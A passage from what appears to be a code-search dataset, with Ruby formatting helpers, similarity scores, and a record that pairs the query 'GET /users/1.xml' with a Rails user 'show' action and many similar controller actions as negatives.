"def format_numeric(val, istruct)\n return istruct.nil_text if val.nil?\n return val.secs_to_hms if istruct.hms\n\n if istruct.commas\n # Commify the whole number part if not done already.\n result = val.commas(istruct.post_digits)\n else\n result = val.round(istruct.post_digits).to_s\n match = result.match(/\\.(\\d+)\\z/)\n if match && match[1]&.size < istruct.post_digits\n # Add trailing zeros to pad out post_digits\n n_zeros = [istruct.post_digits - match[1].size, 0].max\n zeros = '0' * n_zeros\n result = result + zeros\n end\n result\n end\n\n if istruct.pre_digits.positive?\n match = result.match(/\\A([\\d,]+)(\\.\\d+)?\\z/)\n whole_part = match[1]\n frac_part = match[2]\n n_zeros = [istruct.pre_digits - whole_part.gsub(',', '').size, 0].max\n result =\n if n_zeros.positive?\n if istruct.commas\n # Insert leading zeros with commas\n pre_comma_match = whole_part.match(/\\A(\\d+),/)\n if pre_comma_match\n n_partial_zeros = 3 - pre_comma_match[1].size\n whole_part = \"0\" * n_partial_zeros + whole_part\n n_zeros -= n_partial_zeros\n end\n zeros = ''\n if n_zeros.positive?\n zeros = \"0\" * n_zeros\n if n_zeros > 3 && istruct.commas\n zeros = zeros.reverse.gsub!(/([0-9]{3})/, \"\\\\1,\").reverse\n end\n end\n \"#{zeros},#{whole_part}#{frac_part}\"\n else\n # Insert leading zeros without commas\n zeros = \"0\" * n_zeros\n \"#{zeros}#{whole_part}#{frac_part}\"\n end\n else\n \"#{whole_part}#{frac_part}\"\n end\n else\n result\n end\n if istruct.currency\n result = \"#{FatTable.currency_symbol}#{result}\"\n end\n result\n end",
"def controller_add_commas(integer)\n integer.to_s.reverse.scan(/(?:\\d*\\.)?\\d{1,3}-?/).join(',').reverse\nend",
"def get_prix_unitaire_unit\n return \"\" if self.unit.blank?\n return \"€/\" + self.unit\n end",
"def ordinal_abbreviation; end",
"def print_last( fmt )\n printf( fmt, ulast, slast )\n end",
"def create_ordered_output_from_format_string(f,u,c,i)\n found = Hash.new\n found[\"u\"] = f.index(/(%[\\-\\.0-9]*u[0-9]*)/)\n found[\"c\"] = f.index(/(%[\\-\\.0-9]*c[0-9]*)/)\n found[\"i\"] = f.index(/(%[\\-\\.0-9]*i[0-9]*)/)\n positions = Array.new\t\n positions[f.index(/(%[\\-\\.0-9]*u[0-9]*)/)] = u if !found[\"u\"].nil?\n positions[f.index(/(%[\\-\\.0-9]*c[0-9]*)/)] = c if !found[\"c\"].nil?\n positions[f.index(/(%[\\-\\.0-9]*i[0-9]*)/)] = i if !found[\"i\"].nil?\n positions.compact!\n positions\nend",
"def strf(fmt = \"%d %2m'%2.4s\\\"\")\n tokens = fmt.scan(/%[0-9.]*[%dmsDMNErW]|[^%]*/)\n have_dir = have_dms = false\n tokens.collect! do |t|\n if t[0, 1] == '%' # format\n had_dot = false\n decimals = -1\n width = -1\n format = nil\n t[1..-1].scan(/[0-9]+|\\.|[0-9]+|[%dmsDMNErW]/) do |t2|\n case t2\n when /[0-9]+/\n if had_dot\n decimals = t2.to_i\n else\n width = t2.to_i\n end\n when '%', /[Dr]/\n format = t2\n when /[dmsMwW]/\n have_dms = true\n format = t2\n when /[NE]/\n have_dir = true\n format = t2\n when '.'\n had_dot = true\n else\n raise \"unknown format character '#{t2}'\" # shouldn't be able to get here.\n end\n end\n [ :format, width, decimals, format ]\n else\n [ :filler, t ]\n end\n end\n\n deg, min, sec = to_dms if have_dms\n\n s = ''\n tokens.each do |t|\n if t[0] == :format\n case t[3]\n when '%'\n s += '%'\n when 'd'\n s += s_int(deg, t[1], have_dir)\n when 'D'\n s += s_float(@angle.to_deg, t[1], t[2], have_dir)\n when 'm'\n s += s_int(min, t[1], have_dir)\n when 'M'\n s += s_float(min + (sec / 60), t[1], t[2], have_dir)\n when 'W'\n s += s_only_places(sec / 60, t[1])\n when 's'\n s += s_float(sec, t[1], t[2], have_dir)\n when 'r'\n s += s_float(@angle, t[1], t[2], have_dir)\n when 'N'\n s += (@angle < 0 ? 'S' : 'N')\n when 'E'\n s += (@angle < 0 ? 'W' : 'E')\n end\n else\n s += t[1] # the fillers.\n end\n end\n\n return s\n end",
"def parse_value; end",
"def parse_duration(duration)\n\n # parses note name input\n # user should be able to say \"dotted sixteenth\" or \"quarter\" or \"triplet eighth\"\n groups = duration.to_s.match(/^((dotted|triplet)( |_))?(.*)$/)\n puts \"duration: #{duration}\" if groups.nil?\n\n d = DURATIONS.index(groups[4])\n multiplier = MULTIPLIER[groups[2].to_s.to_sym]\n #binding.pry\n\n Rational(4*(3**multiplier),(2**(multiplier+d)))\n end",
"def handle_dn_mn_sd_h_m_s_abbr_sy\n handle_dn_mn_sd\n next_tag\n handle_h_m_s\n next_tag\n handle_abbr\n next_tag\n handle_sy\n end",
"def add_period(str)\nend",
"def normalize(age_str, unit_str=nil)\n\t\t\t\n\t\t\t# resolve the unit string to\n\t\t\t# a regular string that we\n\t\t\t# can pass to chronic\n\t\t\tfirst = unit_str.to_s[0,1]\n\t\t\tif first == \"\" then unit = @options[:default_unit]\n\t\t\telsif first == \"y\" then unit = \"year\"\n\t\t\telsif first == \"m\" then unit = \"month\"\n\t\t\telsif first == \"d\" then unit = \"day\"\n\t\t\tend\n\t\t\t\n\t\t\t# pass a nice string like \"2 years ago\" to chronic,\n\t\t\t# so it will return a Time containing all\n\t\t\t# of the days that the DOB could have been\n\t\t\tbegin\n\t\t\t\tChronic.parse(\"#{age_str} #{unit}s ago\")\n\t\t\t\n\t\t\t# something went wrong (it's not really important\n\t\t\t# what), so return nil, to be caught by the _accept?_\n\t\t\t# method, which will cancel the match\n\t\t\trescue StandardError\n\t\t\t\tnil\n\t\t\tend\n\t\tend",
"def duration_converter(ableton_value)\n\t\tif ableton_value.to_f < 4\n\t\t\t((1/ableton_value.to_f) * 4).to_i.to_s + 'n'\n\t\telse\n\t\t\t(ableton_value.to_f/4).to_i.to_s + 'm'\n\t\tend\n\tend"
] |
[
"0.6214327",
"0.6195001",
"0.6116868",
"0.5942038",
"0.5874218",
"0.5874218",
"0.56306803",
"0.56019396",
"0.55520356",
"0.55068713",
"0.55068713",
"0.5488915",
"0.5435044",
"0.5406877",
"0.538845",
"0.5349595",
"0.53475016",
"0.53010434",
"0.5299056",
"0.52872163",
"0.5287134",
"0.52690333",
"0.5264388",
"0.52508664",
"0.5213989",
"0.52067757",
"0.51860815",
"0.51775634",
"0.51742804",
"0.5173316",
"0.51732904",
"0.51717573",
"0.51654834",
"0.5162258",
"0.5161934",
"0.51449627",
"0.51376706",
"0.5125083",
"0.5121401",
"0.51204944",
"0.5113262",
"0.5098266",
"0.5086659",
"0.5076695",
"0.5076695",
"0.5076695",
"0.5076695",
"0.5076695",
"0.5076695",
"0.5076695",
"0.5076695",
"0.5072218",
"0.5048929",
"0.5043389",
"0.5042251",
"0.50227916",
"0.5015694",
"0.500637",
"0.50008035",
"0.49798173",
"0.4975519",
"0.49742737",
"0.49636364",
"0.49593484",
"0.49572173",
"0.49466047",
"0.49424428",
"0.49296606",
"0.49261576",
"0.49154538",
"0.49105644",
"0.4902409",
"0.49011976",
"0.48945573",
"0.48926148",
"0.4885397",
"0.48814815",
"0.48814365",
"0.48747852",
"0.48661262",
"0.48645037",
"0.485889",
"0.48545256",
"0.48538166",
"0.4849917",
"0.48449782",
"0.48344114",
"0.48314494",
"0.48290092",
"0.48229402",
"0.48209715",
"0.48188797",
"0.48045287",
"0.47947136",
"0.47880214",
"0.47850925",
"0.47833738",
"0.47825754",
"0.4780224",
"0.477912",
"0.47688553"
] |
0.0
|
-1
|
GET /users GET /users.xml
|
def index
@users = User.all
respond_to do |format|
format.html # index.html.erb
format.xml { render :xml => @users }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def list_users\n self.class.get('/users')\n end",
"def index\n @users = LinkedData::Client::Models::User.all\n respond_to do |format|\n format.html\n format.xml { render xml: @users.to_xml }\n end\n end",
"def me\n users(request(\"users/authenticate.xml\", :auth => true))\n end",
"def users\n get('get_users')\n end",
"def index\n @users = User.all\n render :xml => @users\n end",
"def users(args = {})\n get(\"/users.json\",args)\n end",
"def users(params = {})\n make_get_request('/account/users', params)\n end",
"def index\n @title = \"All users\"\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users.to_xml(:except => [:password_digest, :remember_token])}\n end\n end",
"def index\r\n @users = User.find(:all)\r\n \r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @users.to_xml }\r\n end\r\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @users }\n end\n end",
"def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def show\n @users = User.find(params[:id])\n if @users\n respond_to do |format|\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n else\n head :not_found\n end\n end",
"def index\n users = get_collection(User) || return\n\n respond_to do |format|\n format.xml { render xml: users.to_xml(only: DEFAULT_FIELDS, root: 'users', skip_types: 'true') }\n format.json { render json: users.to_json(only: DEFAULT_FIELDS) }\n end\n end",
"def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @users.to_xml }\n end\n end",
"def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @users.to_xml }\n end\n end",
"def list_users(api_object)\r\n puts \"Current Users:\"\r\n doc = Nokogiri::XML.parse api_object.read\r\n names = doc.xpath('users').collect {|e| e.text }\r\n puts names.join(\", \")\r\n puts \"\"\r\nend",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def list_users\n http_get(:uri=>\"/users\", :fields=>x_cookie)\n end",
"def index\n @users = User.find(:all, :order => 'name ASC')\n respond_to do |format|\n format.html \n format.xml { @users.to_xml }\n end\n end",
"def list\n get('users')['users']\n end",
"def query_users(options={}) path = \"/api/v2/users\"\n get(path, options, AvaTax::VERSION) end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all()\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all(:order=>:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users.to_xml(\n :dasherize => false, :only => [:id, :name,\n :created_at, :updated_at]) }\n end\n end",
"def GetUsers params = {}\n\n params = params.merge(path: 'users.json')\n APICall(params)\n\n end",
"def index\n @users = User.all\n respond_to do |format|\n format.html\n format.xml { render :xml => @users }\n format.json { render :json => @users }\n end\n end",
"def index\n users = get_collection(visible_users) || return\n\n respond_to do |format|\n format.xml { render xml: users.to_xml(only: DEFAULT_FIELDS, root: :users, skip_types: true) }\n format.json { render json: users.to_json(only: DEFAULT_FIELDS) }\n end\n end",
"def users(params = {})\n params.merge!(key: 'users')\n objects_from_response(Code42::User, :get, 'user', params)\n end",
"def index\n authorize! :read, User\n @users = User.find(:all)\n @users ||= []\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @users.to_xml }\n end\n end",
"def show\n @user = User.find(params[:id])\n render :xml => @user.to_xml(:except => [ :password ])\n end",
"def users\n self.class.get(\"/user\", @options).parsed_response[\"items\"]\n end",
"def users_get_info_response_xml\n <<-XML\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <users_getInfo_response xmlns=\"\" xmlns:xsi=\"\" xsi:schemaLocation=\"\" list=\"true\">\n\t<user>\n\t <uid>kangtk</uid>\n\t <nickname>康泰克</nickname>\n\t <facebig>http://userface3.51.com/ce/25/kangtk_130.gif?v=20071208033821</facebig>\n\t <sex>1</sex>\n\t <vip>3</vip>\n\t <isconfirm>1</isconfirm>\n\t</user>\n </users_getInfo_response>\n XML\n end",
"def show\n @user = User.find(params[:id])\n render :xml => @user\n rescue\n render :nothing => true, :status => :not_found\n end",
"def index3\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def users\n \n @users = User.where(:enabled => true)\n @users = @users.where(:role => params[:role].upcase) if params[:role]\n @users = @users.where(:id => params[:id]) if params[:id]\n respond_to do |format|\n format.xml { render :xml => @users.to_xml }\n end\n \n end",
"def users\n\t\t\telems = []\n\t\t\tget_resource_link(:users, \"users\", \"user\").each do |data|\n\t\t\t\telems << data\n\t\t\t\t# elems << User.new(data)\n\t\t\tend\n\t\t\telems\n\t\tend",
"def index\n @users = User.all\n binding.pry\n require 'net/http'\n result = Net::HTTP.get('makesys.net', '/')\n p result\n end",
"def get_users(request); end",
"def index\n @user = current_user\n @title = \"Account\"\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def get_users(options)\n @client.raw('get', '/config/users', options)\n end",
"def users(passwords=false)\n if passwords\n doc = request(\"user-list_users\")\n else\n doc = request(\"user-list_users_no_pw\")\n end\n api_error?(doc)\n (doc/:data).inject([]) { |users, user| users << User.new_from_xml(user); users }\n end",
"def show\n @user = User.find(params[:id])\n usr = prepare_user(@user);\n respond_to do |format|\n format.xml { render :xml => usr.to_xml }\n end\n end",
"def index\n @users = User.all(:order => \"nick, id ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def list_users(user_id)\n self.class.get(\"/users/#{user_id}\")\n end",
"def show \n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.xml { render :xml => @user }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @user }\n end\n end",
"def live\n users = WebmasterTools::Verification::Config.authorized_accounts(:live).map(&:last)\n xml = %Q{<?xml version=\"1.0\"?><users><user>#{users.join(\"</user><user>\")}</user></users>}\n render :xml => xml\n end",
"def show\n\t\t@user = User.find(params[:id])\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml\t{ render :xml => @user }\n\t\tend\n\tend",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def list\n response = @client.get(\"/users\")\n response[\"users\"].map {|u| User.new(@client, u) }\n end",
"def all_users(**args)\n params = parameters(args) do\n optional_params\n end\n request(:get, 'users', params)\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @user.to_xml }\n end\n end",
"def show\n @user = nil\n id_or_name = params[:id]\n begin\n @user = User.find(id_or_name)\n rescue\n @user = User.find_by_name(id_or_name)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml {\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct! directive_tag=:xml, :encoding=> 'utf-8'\n render :xml => xml.user {|u|\n u.id(@user.id)\n u.name(@user.name)\n u.statuses {|ss|\n @user.statuses.each {|stat|\n ss.status {|s|\n s.id(stat.id)\n s.user_id(stat.user_id)\n s.text(stat.text)\n s.geo_tag(stat.geo_tag)\n s.created_at(stat.created_at)\n }\n }\n }\n }\n }\n end\n end",
"def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.order(:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def show\n @user = V1::User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def index\n @users = User.find(:all, :order => :email)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n format.json { render :json => @users }\n end\n end",
"def index\n @users = User.all(include: :stats)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { head :ok }\n end\n end",
"def show\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @user.to_xml }\r\n end\r\n end",
"def show\n @user = User.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def users(params = {})\n response = get('users/lookup.json', params)\n response.map {|user| Croudia::Object::User.new(user) }\n end",
"def get_user_info\n get(\"/api/v1/oauth_user_info.json\")\n end",
"def get_user_info(list)\n\trequire 'net/http'\n\tNet::HTTP.get(ENV[\"VERITAS-USER-SERVER\"] + \"/users?user_ids=#{list}\")\nend",
"def show\n @users = User.all\n json_response(@users)\n end",
"def list_users_for_all_tenants(args = {}) \n get(\"/users.json/global\", args)\nend",
"def list_users_for_all_tenants(args = {}) \n get(\"/users.json/global\", args)\nend",
"def users_list\n\t\t\tpost= { \"token\" => @token }\n\t\t\tdocxml = nil\n\t\t\tdocxml=nessus_request('users/list', post)\n\t\t\tif docxml.nil?\n\t\t\t\treturn\n\t\t\tend\n\t\t\tusers=Array.new\n\t\t\tdocxml.root.elements['contents'].elements['users'].each_element('//user') { |user|\n\t\t\t\tentry=Hash.new\n\t\t\t\tentry['name']=user.elements['name'].text\n\t\t\t\tentry['admin']=user.elements['admin'].text\n\t\t\t\tentry['lastlogin']=user.elements['lastlogin'].text\n\t\t\t\tusers.push(entry)\n\t\t\t}\n\t\t\treturn users\n\t\tend",
"def show\n @user = User.find(params[:id])\n @title = @user.username\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user.to_xml(:except => [:password_digest, :remember_token])}\n end\n end",
"def users\n\t\trespond_with User.all\n\tend",
"def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend",
"def show\n\t\t@user = User.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @user }\n\t\tend\n\tend",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end"
] |
[
"0.7657926",
"0.76263535",
"0.7490723",
"0.7470033",
"0.74069935",
"0.7387062",
"0.7248585",
"0.72448206",
"0.721343",
"0.7211573",
"0.7210826",
"0.71998477",
"0.71764135",
"0.71337295",
"0.71337295",
"0.71337295",
"0.7132803",
"0.7132208",
"0.7130947",
"0.70905775",
"0.7085793",
"0.7083929",
"0.70486325",
"0.7046792",
"0.7024087",
"0.7024087",
"0.7024087",
"0.7024087",
"0.7024087",
"0.7024087",
"0.7024087",
"0.7024087",
"0.7024087",
"0.7024087",
"0.7024087",
"0.7024087",
"0.7024087",
"0.7024087",
"0.7024087",
"0.70097655",
"0.70097655",
"0.70097655",
"0.69941163",
"0.6976239",
"0.69745165",
"0.6881462",
"0.68683046",
"0.68680894",
"0.68536305",
"0.6852045",
"0.6845801",
"0.68020034",
"0.67611986",
"0.6758884",
"0.67461437",
"0.67454886",
"0.67451483",
"0.6738235",
"0.6729717",
"0.67045456",
"0.668879",
"0.6685763",
"0.66567296",
"0.6656454",
"0.6609397",
"0.66032255",
"0.6594465",
"0.6589267",
"0.6584507",
"0.6574818",
"0.6570887",
"0.6563008",
"0.65458435",
"0.6544914",
"0.65348834",
"0.65275043",
"0.6527257",
"0.6523976",
"0.6515483",
"0.65138966",
"0.65072095",
"0.64988047",
"0.6491729",
"0.6486157",
"0.6485859",
"0.64785796",
"0.64785796",
"0.64737725",
"0.6473176",
"0.64720213",
"0.6471115",
"0.64525557",
"0.64500517",
"0.64500517",
"0.64500517",
"0.64500517",
"0.64500517",
"0.64500517",
"0.64500517",
"0.64500517"
] |
0.7115423
|
19
|
GET /users/1 GET /users/1.xml
|
def show
@user = User.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @user }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @users = LinkedData::Client::Models::User.all\n respond_to do |format|\n format.html\n format.xml { render xml: @users.to_xml }\n end\n end",
"def me\n users(request(\"users/authenticate.xml\", :auth => true))\n end",
"def index\n @users = User.all\n render :xml => @users\n end",
"def list_users\n self.class.get('/users')\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @users }\n end\n end",
"def index\r\n @users = User.find(:all)\r\n \r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @users.to_xml }\r\n end\r\n end",
"def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @title = \"All users\"\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users.to_xml(:except => [:password_digest, :remember_token])}\n end\n end",
"def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @users.to_xml }\n end\n end",
"def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @users.to_xml }\n end\n end",
"def show\n @user = User.find(params[:id])\n render :xml => @user\n rescue\n render :nothing => true, :status => :not_found\n end",
"def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def show\n @user = User.find(params[:id])\n usr = prepare_user(@user);\n respond_to do |format|\n format.xml { render :xml => usr.to_xml }\n end\n end",
"def index\n @users = User.find(:all, :order => 'name ASC')\n respond_to do |format|\n format.html \n format.xml { @users.to_xml }\n end\n end",
"def users(args = {})\n get(\"/users.json\",args)\n end",
"def index\n users = get_collection(User) || return\n\n respond_to do |format|\n format.xml { render xml: users.to_xml(only: DEFAULT_FIELDS, root: 'users', skip_types: 'true') }\n format.json { render json: users.to_json(only: DEFAULT_FIELDS) }\n end\n end",
"def show\n @user = User.find(params[:id])\n render :xml => @user.to_xml(:except => [ :password ])\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def show\n @users = User.find(params[:id])\n if @users\n respond_to do |format|\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n else\n head :not_found\n end\n end",
"def index\n @users = User.all(:order=>:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users.to_xml(\n :dasherize => false, :only => [:id, :name,\n :created_at, :updated_at]) }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @users = User.all()\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def list_users(api_object)\r\n puts \"Current Users:\"\r\n doc = Nokogiri::XML.parse api_object.read\r\n names = doc.xpath('users').collect {|e| e.text }\r\n puts names.join(\", \")\r\n puts \"\"\r\nend",
"def index3\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def show\n @user = nil\n id_or_name = params[:id]\n begin\n @user = User.find(id_or_name)\n rescue\n @user = User.find_by_name(id_or_name)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml {\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct! directive_tag=:xml, :encoding=> 'utf-8'\n render :xml => xml.user {|u|\n u.id(@user.id)\n u.name(@user.name)\n u.statuses {|ss|\n @user.statuses.each {|stat|\n ss.status {|s|\n s.id(stat.id)\n s.user_id(stat.user_id)\n s.text(stat.text)\n s.geo_tag(stat.geo_tag)\n s.created_at(stat.created_at)\n }\n }\n }\n }\n }\n end\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
